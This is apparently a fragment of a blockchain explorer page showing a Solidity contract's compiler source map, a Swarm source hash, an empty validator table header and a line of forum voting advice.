9098:22;;;;;;;;;;;;;;;;:26;;:35;;;;:::i;:::-;9073:14;:22;9088:6;9073:22;;;;;;;;;;;;;;;:60;;;;9173:1;9161:11;;:13;9155:1;:20;9152:106;;;9234:4;9199:24;:32;9224:6;9199:32;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;9152:106;9033:240;9298:5;:13;9304:6;9298:13;;;;;;;;;;;;;;;:26;;;;;;;;;;;;9289:35;;8714:636;;;;9345:5;;8714:636;8694:3;;;;;;;8662:700;;;;8385:982;;;;;:::o;11669:216::-;11745:14;11800:4;11792:21;;;11782:7;:31;11781:67;;11835:4;11827:21;;;11781:67;;;11817:7;11781:67;11772:76;;11858:3;:12;;:20;11871:6;11858:20;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;11858:20:0;11669:216;;;;:::o;6714:725::-;6788:17;6808:5;:12;6814:5;6808:12;;;;;;;;;;;;;;;6788:32;;6846:7;6831:4;:11;;;:22;;;;;;;;;;;6880:26;6898:7;6880:13;;:17;;:26;;;;:::i;:::-;6864:13;:42;;;;6960:47;6993:5;6999:7;6960:32;:47::i;:::-;7036:10;7049:4;:13;;;;;;;;;;;;7036:26;;7078:6;7087:1;7078:10;;7073:298;7094:18;7090:1;:22;7073:298;;;7151:1;7137:16;;:2;:16;;;7134:26;;;7155:5;;7134:26;7199:14;7214:1;7199:17;;;;;;;;;7178:5;:9;7184:2;7178:9;;;;;;;;;;;;;;;:14;;7193:1;7178:17;;;;;;;;;:38;7175:147;;7266:40;7298:7;7266:5;:9;7272:2;7266:9;;;;;;;;;;;;;;;:24;;7291:1;7266:27;;;;;;;;;:31;;:40;;;;:::i;:::-;7236:5;:9;7242:2;7236:9;;;;;;;;;;;;;;;:24;;7261:1;7236:27;;;;;;;;:70;;;;7175:147;7341:5;:9;7347:2;7341:9;;;;;;;;;;;;;;;:18;;;;;;;;;;;;7336:23;;7114:3;;;;;;;7073:298;;;;7391:30;7402:10;7413:7;7391:10;:30::i;:::-;6714:725;;;;:::o;1401:189::-;1487:7;1519:1;1515;:5;1522:12;1507:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;1507:28:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1546:9;1562:1;1558;:5;;;;;;1546:17;;1581:1;1574:8;;;1401:189;;;;;:::o;768:190::-;854:7;887:1;882;:6;;890:12;874:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;874:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;914:9;930:1;926;:5;914:17;;949:1;942:8;;;768:190;;;;;:::o
Swarm Source
bzzr://f2dc2f8f77fabcaac6104f046d3af73ba1c6d150e2d400d6cf73fb0f7bdbce64
Age | Block | Fee Address | BC Fee Address | Voting Power | Jailed | Incoming |
---|
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.